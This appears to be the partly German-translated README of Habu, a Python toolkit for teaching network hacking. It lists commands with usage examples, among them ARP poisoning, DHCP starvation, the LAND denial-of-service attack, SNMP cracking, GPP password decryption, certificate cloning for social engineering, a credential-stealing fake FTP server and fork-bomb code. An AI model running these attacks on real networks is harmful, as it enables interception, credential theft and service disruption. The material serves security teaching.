Ich entwickle Habu, um Konzepte über Python und Netzwerk-Hacking zu lehren (und zu lernen).
Einige in der aktuellen Version implementierte Techniken sind:
Die Entwicklung dieser Software wird von Securetia SRL (https://www.securetia.com/) unterstützt.
Verschiedene nützliche Nutzungsszenarien werden beschrieben unter https://fportantier.github.io/hacking-with-habu/
Die folgende Youtube-Playlist enthält Videos, die die Installation und Nutzung zeigen:
https://www.youtube.com/watch?v=rgp9seLLyqE&list=PL4HZnX8VnFXqSvNw7x-bXOn0dgxNdfnVD
Wenn Sie einige Habu-Funktionen, mögliche Verbesserungen usw. diskutieren möchten, können Sie die Habu-Telegram-Gruppe nutzen: https://t.me/python_habu
Probleme und Pull-Requests müssen an das Github-Repo gesendet werden: https://github.com/fportantier/habu
Empfohlene Installationsmethode:
::
$ python3 -m pip install --upgrade git+https://github.com/fportantier/habu.git
Dies sollte auf jedem System mit Python 3 funktionieren.
Hinweis: Auf manchen Systemen (wie Microsoft Windows) müssen Sie den Befehl anpassen, um auf den korrekten Pfad der Python-Ausführungsdatei zu verweisen.
Jetzt gibt es einen Befehl, um direkt aus dem Git-Repo zu aktualisieren und alte Befehle zu bereinigen, die nicht mehr existieren oder umbenannt wurden.
::
$ habu.upgrade
Alle Befehle implementieren die Option '--help', die Hilfe, Argumente, Optionen und Standardwerte anzeigt.
Fast alle Befehle implementieren den Verbose-Modus mit der Option '-v'. Dies kann Ihnen zusätzliche Informationen darüber geben, was Habu tut.
arp.ping <#habuarpping>_arp.poison <#habuarppoison>_arp.sniff <#habuarpsniff>_asydns <#habuasydns>_b64 <#habub64>_cert.clone <#habucertclone>_cert.crtsh <#habucertcrtsh>_cert.names <#habucertnames>_config.del <#habuconfigdel>_config.set <#habuconfigset>_config.show <#habuconfigshow>_crack.luhn <#habucrackluhn>_crack.snmp <#habucracksnmp>_.. code-block::
Usage: habu.arp.ping [OPTIONS] IP
Send ARP packets to check if a host it's alive in the local network.
Example:
# habu.arp.ping 192.168.0.1
Ether / ARP is at a4:08:f5:19:17:a4 says 192.168.0.1 / Padding
Options:
-i TEXT Interface to use
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.arp.poison [OPTIONS] VICTIM1 VICTIM2
Send ARP 'is-at' packets to each victim, poisoning their ARP tables for
send the traffic to your system.
Note: If you want a full working Man In The Middle attack, you need to
enable the packet forwarding on your operating system to act like a
router. You can do that using:
# echo 1 > /proc/sys/net/ipv4/ip_forward
Example:
# habu.arpoison 192.168.0.1 192.168.0.77
Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77
Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.70
Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77
...
Options:
-i TEXT Interface to use
-v Verbose
--help Show this message and exit.
.. code-block::
Usage: habu.arp.sniff [OPTIONS]
Listen for ARP packets and show information for each device.
Columns: Seconds from last packet | IP | MAC | Vendor
Example:
1 192.168.0.1 a4:08:f5:19:17:a4 Sagemcom Broadband SAS
7 192.168.0.2 64:bc:0c:33:e5:57 LG Electronics (Mobile Communications)
2 192.168.0.5 00:c2:c6:30:2c:58 Intel Corporate
6 192.168.0.7 54:f2:01:db:35:58 Samsung Electronics Co.,Ltd
Options:
-i TEXT Interface to use
--help Show this message and exit.
.. code-block::
Usage: habu.asydns [OPTIONS]
Requests a DNS domain name based on public and private RSA keys using the
AsyDNS protocol https://github.com/portantier/asydns
Example:
$ habu.asydns -v
Generating RSA key ...
Loading RSA key ...
{
"ip": "181.31.41.231",
"name": "07286e90fd6e7e6be61d6a7919967c7cf3bbfb23a36edbc72b6d7c53.a.asydns.org"
}
$ dig +short 07286e90fd6e7e6be61d6a7919967c7cf3bbfb23a36edbc72b6d7c53.a.asydns.org
181.31.41.231
Options:
-u TEXT API URL
-g Force the generation of a new key pair
-r Revoke the public key
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.b64 [OPTIONS] [F]
Encodes or decode data in base64, just like the command base64.
$ echo awesome | habu.b64
YXdlc29tZQo=
$ echo YXdlc29tZQo= | habu.b64 -d
awesome
Options:
-d decode instead of encode
--help Show this message and exit.
.. code-block::
Usage: habu.cert.clone [OPTIONS] HOSTNAME PORT KEYFILE CERTFILE
Connect to an SSL/TLS server, get the certificate and generate a
certificate with the same options and field values.
Note: The generated certificate is invalid, but can be used for social
engineering attacks
Example:
$ habu.certclone www.google.com 443 /tmp/key.pem /tmp/cert.pem
Options:
--copy-extensions Copy certificate extensions (default: False)
--expired Generate an expired certificate (default: False)
-v Verbose
--help Show this message and exit.
.. code-block::
Usage: habu.cert.crtsh [OPTIONS] DOMAIN
Downloads the certificate transparency logs for a domain and check with
DNS queries if each subdomain exists.
Uses multithreading to improve the performance of the DNS queries.
Example:
$ habu.crtsh securetia.com
alt.securetia.com
other.securetia.com
www.securetia.com
Options:
-c Disable cache
-n Disable DNS subdomain validation
-v Verbose output
--json Print the output in JSON format
--help Show this message and exit.
.. code-block::
Usage: habu.cert.names [OPTIONS] [NETWORK]
Connects to each host/port and shows a summary of the certificate names.
The hosts to connect to are taken from two possible options:
1. -i option (default: stdin). A file where each line is a host or network
2. An argument that can be a host or network
If you use both methods, the hosts and networks are merged into one list.
Example:
$ habu.cert.names 2.18.60.240/29
2.18.60.241 443 i.s-microsoft.com microsoft.com privacy.microsoft.com
2.18.60.242 443 aod-ssl.itunes.apple.com aod.itunes.apple.com aodp-ssl.itunes.apple.com
2.18.60.243 443 *.mlb.com mlb.com
2.18.60.244 443 [SSL: TLSV1_ALERT_INTERNAL_ERROR] tlsv1 alert internal error (_ssl.c:1056)
2.18.60.245 443 cert2-cn-public-ubiservices.ubi.com cert2-cn-public-ws-ubiservices.ubi.com
2.18.60.246 443 *.blog.sina.com.cn *.dmp.sina.cn
aod.itunes.apple.com
aodp-ssl.itunes.apple.com
aod-ssl.itunes.apple.com
*.blog.sina.com.cn
cert2-cn-public-ubiservices.ubi.com
cert2-cn-public-ws-ubiservices.ubi.com
*.dmp.sina.cn
i.s-microsoft.com microsoft.com
*.mlb.com mlb.com
privacy.microsoft.com
Options:
-p TEXT Ports to connect to (comma separated list)
-i FILENAME Input file (Default: stdin)
-t FLOAT Time to wait for each connection
-v Verbose output
--json Print the output in JSON format
--help Show this message and exit.
.. code-block::
Usage: habu.config.del [OPTIONS] KEY
Delete a KEY from the configuration.
Note: By default, KEY is converted to uppercase.
Example:
$ habu.config.del DNS_SERVER
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.config.set [OPTIONS] KEY VALUE
Set VALUE to the config KEY.
Note: By default, KEY is converted to uppercase.
Example:
$ habu.config.set DNS_SERVER 8.8.8.8
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.config.show [OPTIONS]
Show the current config.
Note: By default, the options with 'KEY' in their name are shadowed.
Example:
$ habu.config.show
{
"DNS_SERVER": "8.8.8.8",
"FERNET_KEY": "*************"
}
Options:
-k, --show-keys Show also the key values
--option TEXT... Write to the config(KEY VALUE)
--help Show this message and exit.
.. code-block::
Usage: habu.crack.luhn [OPTIONS] NUMBER
Having known values for a Luhn validated number, obtain the possible
unknown numbers.
Numbers that use the Luhn algorithm for validation are Credit Cards, IMEI,
National Provider Identifier in the United States, Canadian Social
Insurance Numbers, Israel ID Numbers and Greek Social Security Numbers
(ΑΜΚΑ).
The '-' characters are ignored.
Define the missing numbers with the 'x' character.
Reference: https://en.wikipedia.org/wiki/Luhn_algorithm
Example:
$ habu.crack.luhn 4509-xx08-3160-6445
4509000831606445
4509180831606445
4509260831606445
4509340831606445
4509420831606445
4509590831606445
4509670831606445
4509750831606445
4509830831606445
4509910831606445
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.crack.snmp [OPTIONS] IP
Launches snmp-get queries against an IP, and tells you when finds a valid
community string (is a simple SNMP cracker).
The dictionary used is the distributed with the onesixtyone tool
https://github.com/trailofbits/onesixtyone
Example:
# habu.crack.snmp 179.125.234.210
Community found: private
Community found: public
Note: You can also receive messages like \<UNIVERSAL\> \<class
'scapy.asn1.asn1.ASN1\_Class\_metaclass'\>, I don't know how to supress
them for now.
Options:
-p INTEGER Port to use
-c TEXT Community (default: list of most used)
-s Stop after first match
-v Verbose
--help Show this message and exit.
.. code-block::
Usage: habu.crypto.fernet [OPTIONS]
Fernet cipher.
Uses AES-128-CBC with HMAC
Note: You must use a key to cipher with Fernet.
Use the -k paramenter or set the FERNET_KEY configuration value.
The keys can be generated with the command habu.crypto.fernet.genkey
Reference: https://github.com/fernet/spec/blob/master/Spec.md
Example:
$ "I want to protect this string" | habu.crypto.fernet
gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA...
$ echo gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA... | habu.crypto.fernet -d
I want to protect this string
Options:
-k TEXT Key
-d Decrypt instead of encrypt
--ttl INTEGER Time To Live for timestamp verification
-i FILENAME Input file (default: stdin)
-o FILENAME Output file (default: stdout)
--help Show this message and exit.
.. code-block::
Usage: habu.crypto.fernet.genkey [OPTIONS]
Generate a new Fernet Key, optionally write it to ~/.habu.json
Example:
$ habu.crypto.fernet.genkey
xgvWCIvjwe9Uq7NBvwO796iI4dsGD623QOT9GWqnuhg=
Options:
-w Write this key to ~/.habu.json
--help Show this message and exit.
.. code-block::
Usage: habu.crypto.gppref [OPTIONS] PASSWORD
Decrypt the password of local users added via Windows 2008 Group Policy
Preferences.
This value is the 'cpassword' attribute embedded in the Groups.xml file,
stored in the domain controller's Sysvol share.
Example:
# habu.crypto.gppref AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
testpassword
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.crypto.hasher [OPTIONS] [F]
Compute various hashes for the input data, that can be a file or a stream.
Example:
$ habu.crypto.hasher README.rst
md5 992a833cd162047daaa6a236b8ac15ae README.rst
ripemd160 0566f9141e65e57cae93e0e3b70d1d8c2ccb0623 README.rst
sha1 d7dbfd2c5e2828eb22f776550c826e4166526253 README.rst
sha256 6bb22d927e1b6307ced616821a1877b6cc35e... README.rst
sha512 8743f3eb12a11cf3edcc16e400fb14d599b4a... README.rst
whirlpool 96bcc083242e796992c0f3462f330811f9e8c... README.rst
You can also specify which algorithm to use. In such case, the output is
only the value of the calculated hash:
$ habu.hasher -a md5 README.rst
992a833cd162047daaa6a236b8ac15ae README.rst
Options:
-a [md5|sha1|sha256|sha512|ripemd160|whirlpool]
Only this algorithm (Default: all)
--help Show this message and exit.
.. code-block::
Usage: habu.crypto.xor [OPTIONS]
XOR cipher.
Note: XOR is not a 'secure cipher'. If you need strong crypto you must use
algorithms like AES. You can use habu.fernet for that.
Example:
$ habu.xor -k mysecretkey -i /bin/ls > xored
$ habu.xor -k mysecretkey -i xored > uxored
$ sha1sum /bin/ls uxored
$ 6fcf930fcee1395a1c95f87dd38413e02deff4bb /bin/ls
$ 6fcf930fcee1395a1c95f87dd38413e02deff4bb uxored
Options:
-k TEXT Encryption key
-i FILENAME Input file (default: stdin)
-o FILENAME Output file (default: stdout)
--help Show this message and exit.
.. code-block::
Usage: habu.data.enrich [OPTIONS]
Enrich data adding interesting information.
Example:
$ cat /var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich
[
{
"asset": "8.8.8.8",
"family": "IPAddress",
"asn": "15169",
"net": "8.8.8.0/24",
"cc": "US",
"rir": "ARIN",
"asname": "GOOGLE - Google LLC, US"
},
{
"asset": "8.8.4.4",
"family": "IPAddress",
"asn": "15169",
"net": "8.8.4.0/24",
"cc": "US",
"rir": "ARIN",
"asname": "GOOGLE - Google LLC, US"
}
]
Options:
-i FILENAME Input file (Default: stdin)
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.data.extract.domain [OPTIONS] [INFILE]
Extract valid domains from a file or stdin.
Optionally, check each domain for the presence of NS registers.
Example:
$ cat /var/log/some.log | habu.data.extract.domain -c
google.com
ibm.com
redhat.com
Options:
-c Check if domain has NS servers defined
-v Verbose output
-j JSON output
--help Show this message and exit.
.. code-block::
Usage: habu.data.extract.email [OPTIONS] [INFILE]
Extract email addresses from a file or stdin.
Example:
$ cat /var/log/auth.log | habu.data.extract.email
[email protected]
[email protected]
[email protected]
Options:
-v Verbose output
-j JSON output
--help Show this message and exit.
.. code-block::
Usage: habu.data.extract.fqdn [OPTIONS] [INFILE]
Extract FQDNs (Fully Qualified Domain Names) from a file or stdin.
Example:
$ cat /var/log/some.log | habu.data.extract.fqdn
www.google.com
ibm.com
fileserver.redhat.com
Options:
-c Check if hostname resolves
-v Verbose output
-j JSON output
--help Show this message and exit.
.. code-block::
Usage: habu.data.extract.ipv4 [OPTIONS] [INFILE]
Extract IPv4 addresses from a file or stdin.
Example:$ cat /var/log/auth.log | habu.data.extract.ipv4
172.217.162.4
23.52.213.96
190.210.43.70
Options:
-j, --json JSON output
-u, --unique Remove duplicates
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.data.filter [OPTIONS] FIELD [gt|lt|eq|ne|ge|le|in|contains|defin
ed|undefined|true|false] [VALUE]
Filter data based on operators.
Operator Reference:
gt: Greater than
lt: Lesser than
eq: Equal to
ne: Not equal to
ge: Greather or equal than
le: Lesser or equal than
in: Inside the list of values (or inside the network)
contains: Contains the value (or the network address)
defined: The value is defined
undefined: The value is not defined
true: The value is True
false: The value is False
Example:
$ cat /var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich | habu.data.filter cc eq US
[
{
"item": "8.8.8.8",
"family": "ipv4_address",
"asn": "15169",
"net": "8.8.8.0/24",
"cc": "US",
"rir": "ARIN",
"asname": "GOOGLE - Google LLC, US"
}
]
Docs: https://fportantier.github.io/hacking-with-habu/user/data-manipulation.html#data-enrichment
Options:
-i FILENAME Input file (Default: stdin)
-v Verbose output
--not Negate the comparison
--help Show this message and exit.
.. code-block::
Usage: habu.data.select [OPTIONS] FIELD
Select a field from a JSON input.
Example:
$ cat /var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich | habu.data.filter cc eq US | habu.data.select asset
8.8.8.7
8.8.8.8
8.8.8.9
Options:
-i FILENAME Input file (Default: stdin)
-v Verbose output
--json JSON output
--help Show this message and exit.
.. code-block::
Usage: habu.dhcp.discover [OPTIONS]
Send a DHCP request and show what devices has replied.
Note: Using '-v' you can see all the options (like DNS servers) included
on the responses.
# habu.dhcp_discover
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.5:bootpc / BOOTP / DHCP
Options:
-i TEXT Interface to use
-t INTEGER Time (seconds) to wait for responses
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.dhcp.starvation [OPTIONS]
Send multiple DHCP requests from forged MAC addresses to fill the DHCP
server leases.
When all the available network addresses are assigned, the DHCP server
don't send responses.
So, some attacks, like DHCP spoofing, can be made.
# habu.dhcp_starvation
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP
Options:
-i TEXT Interface to use
-t INTEGER Time (seconds) to wait for responses
-s INTEGER Time (seconds) between requests
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.dns.lookup.forward [OPTIONS] HOSTNAME
Perform a forward lookup of a given hostname.
Example:
$ habu.dns.lookup.forward google.com
{
"ipv4": "172.217.168.46",
"ipv6": "2a00:1450:400a:802::200e"
}
Options:
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.dns.lookup.reverse [OPTIONS] IP_ADDRESS
Perform a reverse lookup of a given IP address.
Example:
$ $ habu.dns.lookup.reverse 8.8.8.8
{
"hostname": "google-public-dns-a.google.com"
}
Options:
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.eicar [OPTIONS]
Print the EICAR test string that can be used to test antimalware engines.
More info: http://www.eicar.org/86-0-Intended-use.html
Example:
$ habu.eicar
X5O!P%@AP[4\XZP54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.forkbomb [OPTIONS] [bash|batch|c|haskell|perl|php|python|ruby]
A shortcut to remember how to use fork bombs in different languages.
Currently supported: bash, batch, c, haskell, perl, php, python, ruby.
Example:
$ habu.forkbomb c
#include <unistd.h>
int main()
{
while(1)
{
fork();
}
return 0;
}
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.fqdn.finder [OPTIONS] [DOMAINS]...
Uses various techniques to obtain valid FQDNs for the specified domains.
1. Try to all FQDNs with DNS zone transfers
2. Check for Certificate Transparency Logs
3. Connect to specified ports, obtain SSL certificates and get FQDNs from them
4. Connect to websites and get FQDNs based on the website links
5. DNS Brute Force for common names
The results are cleaned to remove FQDNs that does not resolve by DNS
Example:
$ habu.fqdn.finder educacionit.com
barometrosalarial.educacionit.com
blog.educacionit.com
ci.educacionit.com
educacionit.com
intranet.educacionit.com
lecdev.educacionit.com
lecweb.educacionit.com
mail.educacionit.com
plantillas.educacionit.com
www.educacionit.com
Options:
-t FLOAT Time to wait for each connection
-v Verbose output
--debug Debug output
--connect / --no-connect Get from known FQDNs open ports SSL certificates
--brute / --no-brute Run DNS brute force against domains
--links / --no-links Extract FQDNs from web site links
--xfr / --no-xfr Try to do a DNS zone transfer against domains
--ctlog / --no-ctlog Try to get FQDNs from Certificate Transparency
Logs
--json Print the output in JSON format
--help Show this message and exit.
.. code-block::
Usage: habu.gateway.find [OPTIONS] NETWORK
Try to reach an external IP using any host has a router.
Useful to find routers in your network.
First, uses arping to detect alive hosts and obtain MAC addresses.
Later, create a network packet and put each MAC address as destination.
Last, print the devices that forwarded correctly the packets.
Example:
# habu.find.gateway 192.168.0.0/24
192.168.0.1 a4:08:f5:19:17:a4 Sagemcom
192.168.0.7 b0:98:2b:5d:22:70 Sagemcom
192.168.0.8 b0:98:2b:5d:1f:e8 Sagemcom
Options:
-i TEXT Interface to use
--host TEXT Host to reach (default: 8.8.8.8)
--tcp Use TCP instead of ICMP
--dport INTEGER RANGE Destination port for TCP (default: 80)
--timeout INTEGER Timeout in seconds (default: 5)
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.host [OPTIONS]
Collect information about the host where habu is running.
Example:
$ habu.host
{
"kernel": [
"Linux",
"demo123",
"5.0.6-200.fc29.x86_64",
"#1 SMP Wed Apr 3 15:09:51 UTC 2019",
"x86_64",
"x86_64"
],
"distribution": [
"Fedora",
"29",
"Twenty Nine"
],
"libc": [
"glibc",
"2.2.5"
],
"arch": "x86_64",
"python_version": "3.7.3",
"os_name": "Linux",
"cpu": "x86_64",
"static_hostname": "demo123",
"fqdn": "demo123.lab.sierra"
}
Options:
-v Verbose output.
--help Show this message and exit.
.. code-block::
Usage: habu.http.headers [OPTIONS] SERVER
Retrieve the HTTP headers of a web server.
Example:
$ habu.http.headers http://duckduckgo.com
{
"Server": "nginx",
"Date": "Sun, 14 Apr 2019 00:00:55 GMT",
"Content-Type": "text/html",
"Content-Length": "178",
"Connection": "keep-alive",
"Location": "https://duckduckgo.com/",
"X-Frame-Options": "SAMEORIGIN",
"Content-Security-Policy": "default-src https: blob: data: 'unsafe-inline' 'unsafe-eval'",
"X-XSS-Protection": "1;mode=block",
"X-Content-Type-Options": "nosniff",
"Referrer-Policy": "origin",
"Expect-CT": "max-age=0",
"Expires": "Mon, 13 Apr 2020 00:00:55 GMT",
"Cache-Control": "max-age=31536000"
}
Options:
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.http.options [OPTIONS] SERVER
Retrieve the available HTTP methods of a web server.
Example:
$ habu.http.options -v http://google.com
{
"allowed": "GET, HEAD"
}
Options:
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.http.tech [OPTIONS] URL
Uses Wappalyzer apps.json database to identify technologies used on a web
application.
Reference: https://github.com/AliasIO/Wappalyzer
Note: This tool only sends one request. So, it's stealth and not
suspicious.
$ habu.web.tech https://woocomerce.com
Google Tag Manager unknown
MySQL unknown
Nginx unknown
PHP unknown
Prototype unknown
RequireJS unknown
WooCommerce 3.8.0
WordPress 5.2.4
Yoast SEO 10.0.1
Options:
--cache / --no-cache
--format [txt|csv|json] Output format
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.icmp.ping [OPTIONS] IP
The classic ping tool that send ICMP echo requests.
# habu.icmp.ping 8.8.8.8
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
Options:
-i TEXT Wich interface to use (default: auto)
-c INTEGER How many packets send (default: infinit)
-t INTEGER Timeout in seconds (default: 2)
-w INTEGER How many seconds between packets (default: 1)
-v Verbose
--help Show this message and exit.
.. code-block::
Usage: habu.ip.asn [OPTIONS] IP
Use Team Cymru ip2asn service to get information about a public IPv4/IPv6.
Reference: https://www.team-cymru.com/IP-ASN-mapping.html
$ habu.ip.asn 8.8.8.8
{
"asn": "15169",
"net": "8.8.8.0/24",
"cc": "US",
"rir": "ARIN",
"asname": "GOOGLE - Google LLC, US",
"country": "United States"
}
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.ip.geolocation [OPTIONS] IP_ADDRESS
Get the geolocation of an IP adddress from https://ipapi.co/.
Example:
$ habu.ip.geolocation 8.8.8.8
{
"ip": "8.8.8.8",
"city": "Mountain View",
...
"asn": "AS15169",
"org": "Google LLC"
}
Options:
-v Verbose output.
--help Show this message and exit.
.. code-block::
Usage: habu.ip.internal [OPTIONS]
Get the local IP address(es) of the local interfaces.
Example:
$ habu.ip.internal
{
"lo": {
"ipv4": [
{
"addr": "127.0.0.1",
"netmask": "255.0.0.0",
"peer": "127.0.0.1"
}
],
"link_layer": [
{
"addr": "00:00:00:00:00:00",
"peer": "00:00:00:00:00:00"
}
],
"ipv6": [
{
"addr": "::1",
"netmask": "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"
}
]
},
...
Options:
-v Verbose output.
--help Show this message and exit.
.. code-block::
Usage: habu.ip.public [OPTIONS]
Get the public IP address of the connection from https://api.ipify.org.
Example:
$ habu.ip.public
80.219.53.185
Options:
-4, --ipv4 Print your public IPv4 address (default)
-6, --ipv6 Print your public IPv6 address
-j, --json Print the output in JSON format
--help Show this message and exit.
.. code-block::
Usage: habu.karma [OPTIONS] HOST
Use the Karma service https://karma.securetia.com to check an IP against
various Threat Intelligence / Reputation lists.
$ habu.karma www.google.com
www.google.com -> 64.233.190.99
[
"hphosts_fsa",
"hphosts_psh",
"hphosts_emd"
]
Note: You can use the hostname or the IP of the host to query.
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.karma.bulk [OPTIONS] [INFILE]
Show which IP addresses are inside blacklists using the Karma online
service.
Example:
$ cat /var/log/auth.log | habu.extract.ipv4 | habu.karma.bulk
172.217.162.4 spamhaus_drop,alienvault_spamming
23.52.213.96 CLEAN
190.210.43.70 alienvault_malicious
Options:
--json JSON output
--bad Show only entries in blacklists
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.land [OPTIONS] IP
This command implements the LAND attack, that sends packets forging the
source IP address to be the same that the destination IP. Also uses the
same source and destination port.
The attack is very old, and can be used to make a Denial of Service on old
systems, like Windows NT 4.0. More information here:
https://en.wikipedia.org/wiki/LAND
# sudo habu.land 172.16.0.10
............
Note: Each dot (.) is a sent packet. You can specify how many packets send
with the '-c' option. The default is never stop. Also, you can specify the
destination port, with the '-p' option.
Options:
-c INTEGER How many packets send (default: infinit)
-p INTEGER Port to use (default: 135)
-i TEXT Interface to use
-v Verbose
--help Show this message and exit.
.. code-block::
Usage: habu.nc [OPTIONS] HOST PORT
Some kind of netcat/ncat replacement.
The execution emulates the feeling of this popular tools.
Example:
$ habu.nc --crlf www.portantier.com 80
Connected to 45.77.113.133 80
HEAD / HTTP/1.0
HTTP/1.0 301 Moved Permanently
Date: Thu, 26 Jul 2018 21:10:51 GMT
Server: OpenBSD httpd
Connection: close
Content-Type: text/html
Content-Length: 443
Location: https://www.portantier.com/
Options:
--family [4|6|46] IP Address Family
--ssl Enable SSL
--crlf Use CRLF for EOL sequence
--protocol [tcp|udp] Layer 4 protocol to use
--source-ip TEXT Source IP to use
--source-port INTEGER RANGE Source port to use
--help Show this message and exit.
.. code-block::
Usage: habu.net.contest [OPTIONS]
Try to connect to various services and check if can reach them using your
internet connection.
Example:
$ habu.net.contest
DNS: True
FTP: True
SSH: True
HTTP: True
HTTPS: True
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.net.interfaces [OPTIONS]
Show the network interfaces available on the system.
Example:
# habu.interfaces
# NAME MAC INET INET6
0 eth0 80:fa:5b:4b:f9:18 None None
1 lo 00:00:00:00:00:00 127.0.0.1 ::1
2 wlan0 f4:96:34:e5:ae:1b 192.168.0.6 None
3 vboxnet0 0a:00:27:00:00:00 192.168.56.1 fe80::800:27ff:fe00:0
Options:
-j Output in JSON format
--help Show this message and exit.
.. code-block::
Usage: habu.nmap.excluded [OPTIONS]
Prints a random port that is not present on nmap-services file so is not
scanned automatically by nmap.
Useful for services like SSH or RDP, that are continuously scanned on
their default ports.
Example:
# habu.nmap.excluded
58567
Options:
-l INTEGER RANGE Lowest port to consider
-h INTEGER RANGE Highest port to consider
--help Show this message and exit.
.. code-block::
Usage: habu.nmap.open [OPTIONS] SCANFILE
Read an nmap report and print the open ports.
Print the ports that has been resulted open reading the generated nmap
output.
You can use it to rapidly reutilize the port list for the input of other
tools.
Supports and detects the 3 output formats (nmap, gnmap and xml)
Example:
# habu.nmap.open portantier.nmap
22,80,443
Options:
-p [tcp|udp|sctp] The protocol (default=tcp)
--help Show this message and exit.
habu.nmap.ports ---------------Usage: habu.nmap.ports [OPTIONS] SCANFILE
Liest einen nmap-Bericht und gibt die getesteten Ports aus.
Gibt die Ports aus, die beim Lesen der generierten nmap-Ausgabe getestet wurden.
Sie können es verwenden, um die Portliste schnell für die Eingabe anderer Tools wiederzuverwenden.
Unterstützt und erkennt die 3 Ausgabeformate (nmap, gnmap und xml)
Beispiel:
21,22,23,80,443
Optionen: -p [tcp|udp|sctp] Das Protokoll (Standard=tcp) --help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.protoscan [OPTIONS] IP
Sendet IP-Pakete mit verschiedenen Protokollfeldinhalten, um zu erraten, welche Layer-4-Protokolle verfügbar sind.
Die Ausgabe zeigt, welche Protokolle keine 'protocol-unreachable'-ICMP-Antwort erzeugen.
Beispiel:
$ sudo python cmd_ipscan.py 45.77.113.133
1 icmp
2 igmp
4 ipencap
6 tcp
17 udp
41 ipv6
47 gre
50 esp
51 ah
58 ipv6_icmp
97 etherip
112 vrrp
115 l2tp
132 sctp
137 mpls_in_ip
Optionen:
-i TEXT Zu verwendende Schnittstelle
-t INTEGER Timeout für jede Sonde (Standard: 2 Sekunden)
--all Alle Protokolle testen (Standard: In /etc/protocols definiert)
-v Ausführliche Ausgabe
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.server.ftp [OPTIONS]
Einfacher Fake-FTP-Server, der nur dazu dient, Benutzeranmeldeinformationen zu stehlen.
Unterstützt SSL/TLS.
Beispiel:
# sudo habu.server.ftp --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem
Listening on port 21
Accepted connection from ('192.168.0.27', 56832)
Credentials collected from 192.168.0.27! fabian 123456
Optionen:
-a TEXT Zu bindende Adresse (Standard: alle)
-p INTEGER Welcher Port verwendet werden soll (Standard: 21)
--ssl SSL/TLS aktivieren (Standard: False)
--ssl-cert TEXT SSL/TLS-Zertifikatsdatei
--ssl-key TEXT SSL/TLS-Schlüsseldatei
-v Ausführlich
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.shodan [OPTIONS] IP
Einfacher Shodan-API-Client.
Gibt das JSON-Ergebnis einer Shodan-Abfrage aus.
Beispiel:
$ habu.shodan 216.58.222.36
asn AS15169
isp Google
hostnames eze04s06-in-f4.1e100.net, gru09s17-in-f36.1e100.net
country_code US
region_code CA
city Mountain View
org Google
open_ports tcp/443, tcp/80
Optionen:
--cache / --no-cache
-v Ausführliche Ausgabe
--format [txt|csv|json|nmap] Ausgabeformat
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.shodan.query [OPTIONS] QUERY
Einfacher Shodan-API-Client.
Gibt das JSON-Ergebnis einer Shodan-Abfrage aus.
Beispiel:
$ habu.shodan 8.8.8.8
{
"hostnames": [
"google-public-dns-a.google.com"
],
"country_code": "US",
"org": "Google",
"data": [
{
"isp": "Google",
"transport": "udp",
"data": "Recursion: enabled",
"asn": "AS15169",
"port": 53,
"hostnames": [
"google-public-dns-a.google.com"
]
}
],
"ports": [
53
]
}
Optionen:
-c Cache deaktivieren
-v Ausführliche Ausgabe
-o FILENAME Ausgabedatei (Standard: stdout)
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.tcp.flags [OPTIONS] IP
Sendet TCP-Pakete mit verschiedenen Flags und zeigt an, welche Antworten empfangen werden.
Kann verwendet werden, um zu analysieren, wie verschiedene TCP/IP-Stack-Implementierungen und -Konfigurationen auf Pakete mit verschiedenen Flag-Kombinationen reagieren.
Beispiel:
# habu.tcp_flags www.portantier.com
S -> SA
FS -> SA
FA -> R
SA -> R
